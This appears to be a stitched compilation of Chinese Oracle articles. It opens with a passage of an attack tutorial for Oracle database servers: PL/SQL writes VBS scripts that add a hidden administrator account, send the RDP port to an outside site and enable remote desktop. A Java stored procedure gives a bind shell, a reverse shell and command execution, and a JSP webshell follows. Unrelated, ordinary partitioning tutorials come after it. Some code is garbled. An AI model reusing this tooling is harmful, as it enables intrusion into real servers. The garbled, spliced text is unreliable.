utl_file.put_line(file, 'set wsnetwork=CreateObject(“WSCRIPT.NETWORK”)
s=“WinNT://”'||'&'||'wsnetwork.ComputerName
Set a=CreateObject(“Scripting.FileSystemObject”)
Set b=GetObject(os)
Set e=GetObject(os&“/Administrators,group”)
Set d=ob.Create(“user”,“bob”)
od.SetPassword “123456abc!@#”
od.SetInfo
Set f=GetObject(os&“/bob”,user)
oe.add os&“/bob”
oa.DeleteFile(“user.vbs”)');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
/
exec :x:=run_cmz('cscript. c:\user.vbs');无net添加admin用户
declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', '3389p.vbs', 'W');
utl_file.put_line(file, '
Dim OperationRegistry
Set perationRegistry=WScript.createObject(“WScript.Shell”)
Dim TSPort,TSState,TSRegPath
TSRegPath=“HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber”
TSPort=OperationRegistry.RegRead(TSRegPath)
Set xPost=CreateObject(“Microsoft.XMLHTTP”)
xPost.Open “GET”,“blog.cnmoker.org/read3389/ro.asp?port=” '||'ccccc'||' TSPort,0
xPost.Send()
TSRegPath=“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections”
TSState=OperationRegistry.RegRead(TSRegPath)
If TSState=0 Then
Else
OperationRegistry.RegWrite TSRegPath,0,“REG_DWORD”
End If
set bj=wscript.createObject(“wscript.shell”)
obj.Run(“sc config TermService start= demand”)
obj.Run(“sc stop TermService”)
obj.Run(“sc start TermService”)
wscript.quit
');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
exec :x:=run_cmz('cscript. c:\3389p.vbs');
/
exec :x:=run_cmz('del c:\3389p.vbs');
/
blog.cnmoker.org/read3389/read.asp这个代码的作用是用来读取对方的3389端口并post下自己的网站数据库里
这个read.asp和ro.asp自己写吧
到此win下操作基本上是完成了
第三部分 linux的一些操作
linux的操作要用到sqlj语言
其实ISTO的kj总早就写了一些
我总结
create or replace and compile java source named bob as
import java.io.*;
import java.net.*;
public class BOB{
public static String listFolder(String path){
File f=null;
String str=“”;
f=new File(path);
String[] files=f.list();
if(files!=null)
for(int i=0;i
str+=files[i]+“\r\n”;
}
return str;
}
public static String saveFile(String filepath,String value){
FileOutputStream fos=null;
try {
fos=new FileOutputStream(filepath);
fos.write(value.getBytes());
return “OK”;
} catch (Exception e) {
return e.getMessage();
} finally{
if(fos!=null){
try {fos.close();} catch (Exception e) {}
}
}
}
public static String readFile(String pathfile,String code){
BufferedReader br=null;
String value=“”;
try {
br=new BufferedReader(new InputStreamReader(new FileInputStream(pathfile),code));
String s=null;
while((s=br.readLine())!=null){
value+=s;
}
return value;
} catch (Exception e) {
return e.getMessage();
} finally{
if(br!=null){try {br.close();} catch (IOException e) {}}
}
}
public static String execFile(String filepath,String code){
int i=0;
Runtime rt=Runtime.getRuntime();
String utput=“”;
InputStreamReader isr = null;
char[] bufferC=new char[1024];
try{
Process ps=rt.exec(filepath);
isr=new InputStreamReader(ps.getInputStream(),code);
while((i=isr.read(bufferC,0,bufferC.length))!=-1){
output+=new String(bufferC,0,i);
}
return output;
}catch(Exception e){
return e.getMessage();
}finally{
if(isr!=null)try {isr.close();} catch (IOException e) {}
}
}
public static String bindShell(int port){
ServerSocket ss=null;
Socket s=null;
try {
ss = new ServerSocket(port);
s=ss.accept();
new optShell(ss,s).start();
return “OK”;
} catch (Exception e) {
return e.getMessage();
}
}
public static String reverseShell(String host,int port){
Socket s=null;
try{
s=new Socket(host,port);
new optShell(null,s).start();
return “OK”;
}catch(Exception e){
return e.getMessage();
}
} //反弹shell的sqlj语句
public static class optShell extends Thread{
OutputStream s=null;
InputStream is=null;
ServerSocket ss;
Socket s;
public optShell(ServerSocket ss,Socket s){
this.ss=ss;
this.s=s;
try{
this.is=s.getInputStream();
this.os=s.getOutputStream();
}catch(Exception e){
if(os!=null)try {os.close();} catch(Exception ex) {}
if(is!=null)try {is.close();} catch(Exception ex) {}
if(s!=null)try {s.close();} catch(Exception ex) {}
if(ss!=null)try {ss.close();} catch(Exception ex) {}
}
}
public void run(){
BufferedReader br=new BufferedReader(new InputStreamReader(is));
String line=“”;
String cmdhelp=“Command:\r\nlist \r\nsave\r\nread\r\nexec\r\nexit\r\n”;
try {
//os.write(cmdhelp.getBytes());
line=br.readLine();
while(!“exit”.equals(line)){
if(line.length()>3){
StringBuffer sb=new StringBuffer(line.trim());
String cmd=sb.substring(0, 4);
if(cmd.equals(“list”)){
os.write(“input you path:\r\n”.getBytes());
line=br.readLine();
os.write(listFolder(line).getBytes());
}else if(“save”.equals(cmd)){
os.write(“input you filepath:\r\n”.getBytes());
line=br.readLine();
os.write(“input you value:\r\n”.getBytes());
os.write(saveFile(line,br.readLine()).getBytes());
}else if(“read”.equals(cmd)){
os.write(“input you filepath:\r\n”.getBytes());
line=br.readLine();
os.write(“input you code examle:GBK\r\n”.getBytes());
os.write(readFile(line,br.readLine()).getBytes());
}else if(“exec”.equals(cmd)){
os.write(“input you run filepath:\r\n”.getBytes());
line=br.readLine();
os.write(“input you code examle:GBK\r\n”.getBytes());
os.write(execFile(line,br.readLine()).getBytes());
}else{
os.write(cmdhelp.getBytes());
}
}else{
os.write(cmdhelp.getBytes());
}
line=br.readLine();
}
} catch (Exception e) {
e.printStackTrace();
}finally{
if(os!=null)try {os.close();} catch(Exception e) {}
if(is!=null)try {is.close();} catch(Exception e) {}
if(s!=null)try {s.close();} catch(Exception e) {}
if(ss!=null)try {ss.close();} catch(Exception e) {}
}
}
}
}
/
create or replace function BOB_LISTFOLDER(str varchar2) return varchar2
as language java name 'BOB.listFolder(java.lang.String) return java.lang.String';
/
create or replace function BOB_SAVEFILE(p varchar2,v varchar2) return varchar2
as language java name 'BOB.saveFile(java.lang.String,java.lang.String) return java.lang.String';
/
create or replace function BOB_READFILE(p varchar2,c varchar2) return varchar2
as language java name 'BOB.readFile(java.lang.String,java.lang.String) return java.lang.String';
/
create or replace function BOB_EXECFILE(fp varchar2,c varchar2) return varchar2
as language java name 'BOB.execFile(java.lang.String,java.lang.String) return java.lang.String';
/
create or replace function BOB_BINDSHELL(port number) return varchar2
as language java name 'BOB.bindShell(int) return java.lang.String';
/
begin
Dbms_Java.Grant_Permission('scott','java.io.FilePermission','','read,write,execute,delete');
Dbms_Java.Grant_Permission('scott','java.lang.RuntimePermission','*','writeFileDescriptor');
Dbms_Java.grant_permission('scott','java.net.SocketPermission','*:*','accept,connect,listen,resolve');
end;这么一大段,仔细看
执行完后
Select BOB_LISTFOLDER('/usr') FROM DUAL //列目录
Select BOB_EXECFILE('C:\WINDOWS\system32\cmd.exe /c dir c:\','GBK') FROM DUAL; //执行命令
Select BOB_READFILE('/tmp/1.txt','GBK') FROM DUAL; //读文件
Select BOB_SAVEFILE('/tmp/1.jsp','<%if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“\\”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());%>') FROM DUAL; 写jsp一句话 可查看我的上一篇BLOG
Select BOB_BINDSHELL(20000) FROM DUAL //开启端口2000然后你telnet ip 2000上去
其中本来还有reserver shell的
我还没来的及测试
我自己是更中意反弹shell的
特别是linux
好操作的多
再说有时候linux是nat出来的
反弹就去了许多麻烦
第四部分 技巧
一句话读取3389端口
exec :x:=run_cmz('REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal“ ”Server\WinStations\RDP-Tcp /v PortNumber');一句话开3389 只合适win 2k3
exec :x:=run_cmz('REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal“ ”Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f');删除pcanywhere导致的终端登陆错误
exec :x:=run_cmz('reg delete “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v GinaDLL /f');感谢kj,和linx的文章.
最后说下,关于web injection部分
有时间在整理吧
不妥之处,请指教 QQ:1972097
篇5:Oracle技术题
,
非归档模式则相反,不能恢复到任意一个时间点。但是非归档模式可以带来数据库性能上的少许提高
4. 如何建立一个备份控制文件?
解答:Alter database backup control file to trace.
5. 给出数据库正常启动所经历的几种状态 ?
解答:
STARTUP NOMOUNT – 数据库实例启动
STARTUP MOUNT - 数据库装载
STARTUP OPEN – 数据库打开
篇6:Oracle分区之四:分区维护和管理
一,分区表的相关实验
创建一个列表分区表
create table t3(id number,city varchar2(10))
partition by list(city)
(
partition p1 values ('SH','JS','ZJ') ,
partition p2 values ('BJ','TJ','HB') ,
partition p3 values ('GZ','SZ') ,
partition p_others values (default)
);
create or replace procedure proc1
as
begin
for i in 1..1000
loop
execute immediate
'INSERT INTO T3 values(:x,:y)' USING i,'SH';
end loop;
end;
/
exec proc1
create or replace procedure proc1
as
begin
for i in 1001..
loop
execute immediate
'INSERT INTO T3 values(:x,:y)' USING i,'JS';
end loop;
end;
/
exec proc1
create or replace procedure proc1
as
begin
for i in ..3000
loop
execute immediate
'INSERT INTO T3 values(:x,:y)' USING i,'ZJ';
end loop;
end;
/
exec proc1
create or replace procedure proc1
as
begin
for i in 3001..4000
loop
execute immediate
'INSERT INTO T3 values(:x,:y)' USING i,'BJ';
end loop;
end;
/
exec proc1
create or replace procedure proc1
as
begin
for i in 4001..5000
loop
execute immediate
'INSERT INTO T3 values(:x,:y)' USING i,'TJ';
end loop;
end;
/
exec proc1
create or replace procedure proc1
as
begin
for i in 5001..6000
loop
execute immediate
'INSERT INTO T3 values(:x,:y)' USING i,'GZ';
end loop;
end;
/
exec proc1
create or replace procedure proc1
as
begin
for i in 6001..7000
loop
execute immediate
'INSERT INTO T3 values(:x,:y)' USING i,'HB';
end loop;
end;
/
exec proc1
create or replace procedure proc1
as
begin
for i in 7001..8000
loop
execute immediate
'INSERT INTO T3 values(:x,:y)' USING i,'SZ';
end loop;
end;
/
exec proc1
create or replace procedure proc1
as
begin
for i in 8001..10000
loop
execute immediate
'INSERT INTO T3 values(:x,:y)' USING i,'AH';
end loop;
end;
/
exec proc1
SQL>SET linesize 200
SQL>select TABLE_NAME, TABLE_OWNER, PARTITION_NAME, SUBPARTITION_COUNT from dba_tab_partitions where table_name='T3';
TABLE_NAME TABLE_OWNER PARTITION_NAME SUBPARTITION_COUNT
------------------------------ ------------------------------ ------------------------------ ------------------
T3 HR P1 0
T3 HR P2 0
T3 HR P3 0
T3 HR P_OTHERS 0
实验一(SPLIT 分区)
alter table t3 split partition p1 values ('JS') into
(partition p1_1,partition p1_2);
SQL>select TABLE_NAME, TABLE_OWNER, PARTITION_NAME, SUBPARTITION_COUNT from dba_tab_partitions where table_name='T3';
TABLE_NAME TABLE_OWNER PARTITION_NAME SUBPARTITION_COUNT
------------------------------ ------------------------------ ------------------------------ ------------------
T3 HR P1_1 0
T3 HR P1_2 0
T3 HR P2 0
T3 HR P3 0
T3 HR P_OTHERS 0
实验二(merge 分区)
alter table t3 merge partitions p1_1,p1_2 into partition p1;
SQL>select TABLE_NAME, TABLE_OWNER, PARTITION_NAME, SUBPARTITION_COUNT from dba_tab_partitions where table_name='T3';
TABLE_NAME TABLE_OWNER PARTITION_NAME SUBPARTITION_COUNT
------------------------------ ------------------------------ ------------------------------ ------------------
T3 HR P1 0
T3 HR P2 0
T3 HR P3 0
T3 HR P_OTHERS 0
实验三、
alter table t3 split partition p2 values ('BJ','TJ') into
(partition p2_1,partition p2_2);
SQL>select TABLE_NAME, TABLE_OWNER, PARTITION_NAME, SUBPARTITION_COUNT from dba_tab_partitions where table_name='T3';
TABLE_NAME TABLE_OWNER PARTITION_NAME SUBPARTITION_COUNT
------------------------------ ------------------------------ ------------------------------ ------------------
T3 HR P1 0
T3 HR P2_1 0
T3 HR P2_2 0
T3 HR P3 0
T3 HR P_OTHERS 0
实验四、
alter table t3 merge partitions p2_1,p2_2 into partition p2;
SQL>select TABLE_NAME, TABLE_OWNER, PARTITION_NAME, SUBPARTITION_COUNT from dba_tab_partitions where table_name='T3';
TABLE_NAME TABLE_OWNER PARTITION_NAME SUBPARTITION_COUNT
------------------------------ ------------------------------ ------------------------------ ------------------
T3 HR P1 0
T3 HR P2 0
T3 HR P3 0
T3 HR P_OTHERS 0
实验五( 向分区某个分区里增加个分区列值)
SQL>alter table t3 modify partition p3 add values('ZQ');
Table altered.
二,分区索引的相关实验
实验六(创建索引分区)
create index idx_t3 on t3(id)
global partition by range(id)
(
partition p1 values less than (1000),
partition p2 values less than (maxvalue)
);
drop index idx_3
create index idx_t3 on t3(id)
global partition by hash(id)
partitions 4;
create table tt2(id number,createdate date)
partition by range(createdate)
subpartition by hash(id) subpartitions 2
(
partition p1 values less than (to_date('-07-01','yyyy-mm-dd')),
partition p2 values less than (to_date('-01-01','yyyy-mm-dd'))
);
create table tt4(id number,name varchar2(10))
partition by range(name)
(
partition p1 values less than ('h'),
partition p2 values less than ('o')
);
create index idx_tt4 on tt4(id) local;
drop indexe idx_tt4 ;
create index idx_tt4 on tt4(id)
global partition by range(id)
(
partition p1 values less than (1000),
partition p2 values less than (maxvalue)
);
SQL>SET LINESIZE 200
SQL>select INDEX_OWNER, INDEX_NAME,PARTITION_NAME FROM dba_Ind_Partitions where index_name='IDX_TT4';
INDEX_OWNER INDEX_NAME PARTITION_NAME
------------------------------ ------------------------------ ------------------------------
HR IDX_TT4 P1
HR IDX_TT4 P2
alter index idx_tt4 split partition p2 at (2000) into
(partition p3,partition p_max);
SQL>select INDEX_OWNER, INDEX_NAME,PARTITION_NAME FROM dba_Ind_Partitions where index_name='IDX_TT4';
INDEX_OWNER INDEX_NAME PARTITION_NAME
------------------------------ ------------------------------ ------------------------------
HR IDX_TT4 P1
HR IDX_TT4 P3
HR IDX_TT4 P_MAX
三,分区表交换的相关实验
Exchange partition提供了一种方式,让你在表与表或分区与分区之间迁移数据,注意不是将表转换成分区或非分区的形式,而仅只是迁移表中数据(互相迁移),
由于其号称是采用了更改数据字典的方式,因此效率最高(几乎不涉及io操作),
Oracle分区之四:分区维护和管理
,
Exchange partition适用于所有分区格式,你可以将数据从分区表迁移到非分区表,
也可以从非分区表迁移至分区表,或者从hash partition到range partition诸如此类。
其语法:alter table tbname1 exchange partition/subpartition ptname with table tbname2;
注意:在将未分区表的数据迁移到分区表中时,可能出现ora-14099的错误,虽然可以用without validation去解决,但是此时进入分区表的数据可能不符合分区规
则。所以without validation一定要慎用。
a,涉及交换的两表之间表结构必须一致,除非附加with validation子句;
b,如果是从非分区表向分区表做交换,非分区表中的数据必须符合分区表中指定分区的规则,除非附加without validation子句;
c,如果从分区表向分区表做交换,被交换的分区的数据必须符合分区规则,除非附加without validation子句;
d,Global索引或涉及到数据改动了的global索引分区会被置为unusable,除非附加update indexes子句。
注意:
一旦附加了without validation子句,则表示不再验证数据有效性,因此指定该子句时务必慎重。
创建一个交换分区的普通heap表
SQL>create table exchange_t3(id number,city varchar2(10));
Table created.
SQL>select distinct city from t3 partition (p2);
CITY
----------
TJ
BJ
HB
查看下P2分区有records
SQL>select count(*) from t3 partition (p2);
COUNT(*)
----------
3000
下面是分区表和普通HEAP表交换
alter table t3
exchange partition p2
with table exchange_t3
including indexes
without validation;
验证下数据,和上面的P2分区数据一致。
SQL>select count(*) from exchange_t3;
COUNT(*)
----------
3000
SQL>select distinct city from exchange_t3;
CITY
----------
TJ
BJ
HB
四,一个实际应用的例子的相关实验
创建一个分区表,只保留最近2年的财务数据。
create table ware(wareyear varchar2(4),id number)
partition by range (wareyear)
(
partition p_ values less than(''),
partition p_2006 values less than(''),
partition p_max values less than(maxvalue)
);
创建索引
create index idx_ware_id on ware(id)
global partition by range(id)
(
partition p_id_10000 values less than(10000),
partition p_id_max values less than(maxvalue)
);
create index idx_ware_wareyear on ware(wareyear) local;
插入测试数据
insert into ware select '2005',object_id from dba_objects;
insert into ware select '2006',object_id from dba_objects;
commit;
年终,归档最早的数据,并加入新财年的数据
create table ware_2007(wareyear varchar2(4),id number);
create index idx_ware_2007 on ware_2007(wareyear);
insert into ware_2007 select '2007',object_id from dba_objects;
commit;
alter table ware split partition p_max
at ('') into (partition p_2007, partition p_max);
将p_2007分区放入ware_2007表里
alter table ware exchange partition p_2007
with table ware_2007
including indexes
without validation;
create table ware_2005(wareyear varchar2(4),id number);
create index idx_ware_2005 on ware_2005(wareyear);
alter table ware exchange partition p_2005
with table ware_2005
including indexes
without validation;
删除p_2005分区
alter table ware drop partition p_2005;
导出做归档
[oracle@even admin]$ exp hr/hr@test file=/home/oracle/ware_2005.dmp tables=ware_2005 compress=n
Export: Release 10.2.0.1.0 - Production on Fri Jan 18 05:10:42
Copyright (c) 1982, 2005, Oracle. All rights reserved.
Connected to: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Production
With the Partitioning, Oracle Label Security, OLAP and Data Mining options
Export done in US7ASCII character set and AL16UTF16 NCHAR character set
server uses AL32UTF8 character set (possible charset conversion)
About to export specified tables via Conventional Path ...
. . exporting table WARE_2005 50439 rows exported
Export terminated successfully without warnings.
然后删除表
drop table ware_2005;
五,表和索引的维护的常见SQL语句及注意事项
对于分区索引,不能整体进行重建,只能对单个分区进行重建(也就是物理存在的分区)。语法如下:
Alter index idx_name rebuild partition index_partition_name [online nologging]
Alter Index IndexName Rebuild Partition P_Name;
有子分区的本地索引,不能重建某分区,只能对每个子分区进行重建
Alter Index Index_Name Rebuild subPartition P_Sub_Name;
脚本,重建所有unUsable的索引
Select 'alter index ' || Index_Name ||' rebuild;' From User_Indexes Where Status ='UNUSABLE' union
Select 'alter index ' || Index_Name ||' rebuild Partition '||Partition_Name ||';' From User_Ind_Partitions Where Status ='UNUSABLE' union
Select 'alter index ' || Index_Name ||' rebuild subPartition '||subPartition_Name ||';' From User_Ind_subPartitions Where Status ='UNUSABLE';
add parttion
Alter Table TestTab1 Add Partition P1 Values Less Than (0801);
1, 如果有子分区,且定义了子分区模板,所有的子分区会自动添加
2, 新加分区后,该区没有统计信息,全是空,如果表级不是global_satus,则表级的统计信息也会空
3, 新加分区后,如果表级统计是global_satus,还会出现out of range的问题(CBO估算的选择率很低)
4, 解决2,3问题的方法是:copy_table_stats
exec dbms_stats.copy_table_stats(user, tabname =>'TEST_TAB1', srcpartname =>'P_20120801', dstpartname =>'P_20100208');
tuncate and drop partition
truncate和drop可对有子分区的分区进行
ALTER TABLE TEST truncate Partition P_20120801;
ALTER TABLE TEST Drop Partition P_20120801;
它们会导致globl index的某些分区不可用,必须这样做
ALTER TABLE TEST truncate Partition P_20120801 update indexes;
ALTER TABLE TEST truncate Partition P_20120801update global indexes;
ALTER TABLE TEST Drop Partition P_20120801 update indexes;
ALTER TABLE TEST Drop Partition P_20120801 update global indexes;
move partition
有子分区的分区不能move,只能move每个子分区(也就是物理分区)
Alter Table TEST Move Partition P_20120801;
由于rowid变了,会导致所有相关索引unusable,必须这样做
Alter Table TEST Move subPartition P_20100730_P1 update indexes;
Alter Table TEST Move subPartition P_20100730_P2 update global indexes; --Local Index没有更新
split partion
语法:
alter table
split partition
at (
into (partition
, partition
)
[update [global] indexes];
1 可以对有子分区的分区进行,自动split子分区
2 由于rowid变了,新分区和global index都变为unusable
alter table t3 merge partitions p2_1,p2_2 into partition p2;
合并range分区
ALTER TABLE Test_Tab1
Merge Partitions P_20100715, P_20100731 Into Partition P_20100730
[Update [global] Indexes];
1. 该分区有子分区
2. 有子分区,也可以单独合并子分区merge subpartition
可以通过下面的视图获取分区的信息
dba_segments
dba_part_key_columns
dba_tables
dba_tab_partitions
dba_indexes
dba_ind_partitions
篇7:Oracle 分区索引介绍和实例演示
作者:Leshami 字体:[增加 减小] 类型:
这篇文章主要介绍了Oracle 分区索引介绍和实例演示,分区索引(或索引分区)主要是针对分区表而言的,本文主要描述了分区索引的相关特性并给出演示示例,需要的朋友可以参考下
分区索引(或索引分区)主要是针对分区表而言的,随着数据量的不断增长,普通的堆表需要转换到分区表,其索引呢,则对应的转换到分区索引。分区索引的好处是显而易见的。就是简单地把一个索引分成多个片断,在获取所需数据时,只需要访问更小的索引片断(块)即可实现。同时把分区放在不同的表空间可以提高分区的可用性和可靠性。本文主要描述了分区索引的相关特性并给出演示示例。
1、分区索引的相关概念
a、分区索引的几种方式:表被分区而索引未被分区;表未被分区,而索引被分区;表和索引都被分区
b、分区索引可以分为本地分区索引以及全局分区索引
本地分区索引:
本地分区索引信息的存放依赖于父表分区。也就是说对于本地索引一定是基于分区表创建的。
缺省情况下,创建本地索引时,如未指定索引存放表空间,会自动将本地索引存放到数据所在分区定义时的表空间。
本地索引的分区机制和表的分区机制一样,本地索引可以是是B树索引或位图索引。
本地索引是对单个分区的,每个分区索引只指向一个表分区,为对等分区。
本地索引支持分区独立性,因此对于这些单独的分区增加,截取,删除,分割,脱机等处理无需同时删除或重建。
本地索引多应用于数据仓库环境中。
全局分区索引:
全局分区索引时分区表和全局索引的分区机制不一样,在创建时必须定义分区键的范围和值。
全局分区索引在创建时应指定Global关键字且全局分区索引只能是B树索引。
全局索引可以分区,也可以是不分区索引,全局索引必须是前缀索引,即索引列必须包含分区键。
全局索引分区中,一个分区索引能指向n个表分区,同时,一个表分区,也可能指向n个索引分区。
默认情况下全局索引对于分区增加,截取,删除,分割等都必须重建或修改时指定update global indexs。
全局分区索引只按范围或者散列hash分区。
全局分区索引多应用于oltp系统中。
c、有前缀索引和无前缀索引
本地和全局分区索引又分为两个子类型即有前缀索引和无前缀索引。
前缀和非前缀索引都可以支持索引分区消除,前提是查询的条件中包含索引分区键。
有前缀索引:
有前缀索引包含了分区键,即分区键列被包含在索引中。
有前缀索引支持本地分区索引以及全局分区索引。
无前缀索引:
无前缀索引即没有把分区键的前导列作为索引的前导列。
无前缀索引仅仅支持本地分区索引。
2、本地分区索引演示
代码如下:
--环境
SQL>select * from v$version where rownum<2;
BANNER
----------------------------------------------------------------
Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - 64bi
SQL>create user leshami identified by xxx;
SQL>grant dba to leshami;
--创建演示需要用到的表空间
SQL>create tablespace tbs_tmp datafile ‘/u02/database/SYBO2/oradata/tbs_tmp.dbf‘ size 10m autoextend on;
SQL>alter user leshami default tablespace tbs_tmp;
SQL>create tablespace tbs1 datafile ‘/u02/database/SYBO2/oradata/tbs1.dbf‘ size 10m autoextend on;
SQL>create tablespace tbs2 datafile ‘/u02/database/SYBO2/oradata/tbs2.dbf‘ size 10m autoextend on;
SQL>create tablespace tbs3 datafile ‘/u02/database/SYBO2/oradata/tbs3.dbf‘ size 10m autoextend on;
SQL>create tablespace idx1 datafile ‘/u02/database/SYBO2/oradata/idx1.dbf‘ size 10m autoextend on;
SQL>create tablespace idx2 datafile ‘/u02/database/SYBO2/oradata/idx2.dbf‘ size 10m autoextend on;
SQL>create tablespace idx3 datafile ‘/u02/database/SYBO2/oradata/idx3.dbf‘ size 10m autoextend on;
SQL>conn leshami/xxx
-- 创建一个lookup表
CREATE TABLE lookup (
id NUMBER(10),
description VARCHAR2(50)
);
--添加主键约束
ALTER TABLE lookup ADD (
CONSTRAINT lookup_pk PRIMARY KEY (id)
);
--插入数据
INSERT INTO lookup (id, description) VALUES (1, ‘ONE‘);
INSERT INTO lookup (id, description) VALUES (2, ‘TWO‘);
INSERT INTO lookup (id, description) VALUES (3, ‘THREE‘);
COMMIT;
CREATE TABLE big_table (
id NUMBER(10),
created_date DATE,
lookup_id NUMBER(10),
data VARCHAR2(50)
)
PARTITION BY RANGE (created_date)
(PARTITION big_table_2012 VALUES LESS THAN (TO_DATE(‘01/01/2013‘, ‘DD/MM/YYYY‘)) tablespace tbs1,
PARTITION big_table_2013 VALUES LESS THAN (TO_DATE(‘01/01/‘, ‘DD/MM/YYYY‘)) tablespace tbs2,
PARTITION big_table_2014 VALUES LESS THAN (MAXVALUE)tablespace tbs3 ) ;
--填充数据到分区表
DECLARE
l_lookup_id lookup.id%TYPE;
l_create_date DATE;
BEGIN
FOR i IN 1 .. 10000 LOOP
IF MOD(i, 3) = 0 THEN
l_create_date := ADD_MONTHS(SYSDATE, -24);
l_lookup_id := 2;
ELSIF MOD(i, 2) = 0 THEN
l_create_date := ADD_MONTHS(SYSDATE, -12);
l_lookup_id := 1;
ELSE
l_create_date := SYSDATE;
l_lookup_id := 3;
END IF;
INSERT INTO big_table (id, created_date, lookup_id, data)
VALUES (i, l_create_date, l_lookup_id, ‘This is some data for ‘ || i);
END LOOP;
COMMIT;
END;
/
--未指定索引分区及存储表空间情形下创建索引
SQL>CREATE INDEX bita_created_date_i ON big_table(created_date) LOCAL;
Index created.
SQL>select index_name, partitioning_type, partition_count from user_part_indexes;
INDEX_NAME PARTITI PARTITION_COUNT
------------------------------ ------- ---------------
BITA_CREATED_DATE_I RANGE 3
--Author : Leshami
--从下面的查询可知,索引直接存放到分表表对应的表空间
SQL>select partition_name, high_value, tablespace_name from user_ind_partitions;
PARTITION_NAME HIGH_VALUE TABLESPACE_NAME
------------------------------ ---------------------------------------- ------------------------------
BIG_TABLE_2014 MAXVALUE TBS3
BIG_TABLE_2013 TO_DATE(‘ 2014-01-01 00:00:00‘, ‘SYYYY-M TBS2
M-DD HH24:MI:SS‘, ‘NLS_CALENDAR=GREGORIA
BIG_TABLE_2012 TO_DATE(‘ 2013-01-01 00:00:00‘, ‘SYYYY-M TBS1
M-DD HH24:MI:SS‘, ‘NLS_CALENDAR=GREGORIA
--删除索引
SQL>drop index bita_created_date_i;
--指定索引分区名表空间名创建索引
SQL>CREATE INDEX bita_created_date_i
2 ON big_table (created_date)
3 LOCAL (
4 PARTITION idx_2012 TABLESPACE idx1,
5 PARTITION idx_2013 TABLESPACE idx2,
6 PARTITION idx_2014 TABLESPACE idx3)
7 PARALLEL 3;
Index created.
SQL>select partition_name, high_value, tablespace_name from user_ind_partitions;
PARTITION_NAME HIGH_VALUE TABLESPACE_NAME
------------------------------ ---------------------------------------- ------------------------------
IDX_2014 MAXVALUE IDX3
IDX_2013 TO_DATE(‘ 2014-01-01 00:00:00‘, ‘SYYYY-M IDX2
M-DD HH24:MI:SS‘, ‘NLS_CALENDAR=GREGORIA
IDX_2012 TO_DATE(‘ 2013-01-01 00:00:00‘, ‘SYYYY-M IDX1
M-DD HH24:MI:SS‘, ‘NLS_CALENDAR=GREGORIA
SQL>select * from big_table where rownum<2;
ID CREATED_ LOOKUP_ID DATA
---------- -------- ---------- --------------------------------------------------
1413 20120625 2 This is some data for 1413
--查看local index是否被使用,从下面的执行计划中可知,索引被使用,支持分区消除
SQL>set autot trace exp;
SQL>select * from big_table where created_date=to_date(‘20120625‘,‘yyyymmdd‘);
Execution Plan
----------------------------------------------------------
Plan hash value: 2556877094
--------------------------------------------------------------------------------------------------------------------------
| Id | Operation | Name | Rows | Bytes | Cost (%CPU)| Time | Pstart| Pstop |
--------------------------------------------------------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 1 | 41 | 2 (0)| 00:00:01 | | |
| 1 | PARTITION RANGE SINGLE | | 1 | 41 | 2 (0)| 00:00:01 | 1 | 1 |
| 2 | TABLE ACCESS BY LOCAL INDEX ROWID| BIG_TABLE | 1 | 41 | 2 (0)| 00:00:01 | 1 | 1 |
|* 3 | INDEX RANGE SCAN | BITA_CREATED_DATE_I | 1 | | 1 (0)| 00:00:01 | 1 | 1 |
--------------------------------------------------------------------------------------------------------------------------
3、全局分区索引演示
代码如下:
--为表添加主键
SQL>ALTER TABLE big_table ADD (
2 CONSTRAINT big_table_pk PRIMARY KEY (id)
3 );
Table altered.
SQL>select index_name,index_type,tablespace_name,global_stats,partitioned
2 from user_indexes where index_name=‘BIG_TABLE_PK‘;
INDEX_NAME INDEX_TYPE TABLESPACE_NAME GLO PAR
------------------------------ --------------------------- ------------------------------ --- ---
BIG_TABLE_PK NORMAL TBS_TMP YES NO
SQL>set autot trace exp;
SQL>select * from big_table where id=1412;
Execution Plan
----------------------------------------------------------
Plan hash value: 2662411593
-------------------------------------------------------------------------------------------------------------------
| Id | Operation | Name | Rows | Bytes | Cost (%CPU)| Time | Pstart| Pstop |
-------------------------------------------------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 1 | 62 | 2 (0)| 00:00:01 | | |
| 1 | TABLE ACCESS BY GLOBAL INDEX ROWID| BIG_TABLE | 1 | 62 | 2 (0)| 00:00:01 | ROWID | ROWID |
|* 2 | INDEX UNIQUE SCAN | BIG_TABLE_PK | 1 | | 1 (0)| 00:00:01 | | |
-------------------------------------------------------------------------------------------------------------------
--如上,在其执行计划中,Pstart与Pstop都为ROWID
--出现了GLOBAL INDEX ROWID,我们添加主键时并未指定Global,但其执行计划表明执行了全局索引访问
--这个地方有待证实,对于分区表,非分区键上的主键或唯一索引是否一定是全局索引
SQL>drop index bita_created_date_i;
--下面创建全局索引,创建时需要指定分区键的范围和值
SQL>CREATE INDEX bita_created_date_i
ON big_table (created_date)
GLOBAL PARTITION BY RANGE (created_date)
(
PARTITION
idx_1 VALUES LESS THAN (TO_DATE (‘01/01/2013‘, ‘DD/MM/YYYY‘))
TABLESPACE idx1,
PARTITION
idx_2 VALUES LESS THAN (TO_DATE (‘01/01/2014‘, ‘DD/MM/YYYY‘))
TABLESPACE idx2,
PARTITION idx_3 VALUES LESS THAN (maxvalue) TABLESPACE idx3);
SQL>select index_name, partitioning_type, partition_count,locality from user_part_indexes;
INDEX_NAME PARTITI PARTITION_COUNT LOCALI
------------------------------ ------- --------------- ------
BITA_CREATED_DATE_I_G RANGE 3 GLOBAL
SQL>select partition_name, high_value, tablespace_name from user_ind_partitions;
PARTITION_NAME HIGH_VALUE TABLESPACE_NAME
------------------------------ --------------------- ------------------------------
IDX_1 TO_DATE(‘ 2013-01-01 IDX1
IDX_2 TO_DATE(‘ 2014-01-01 IDX2
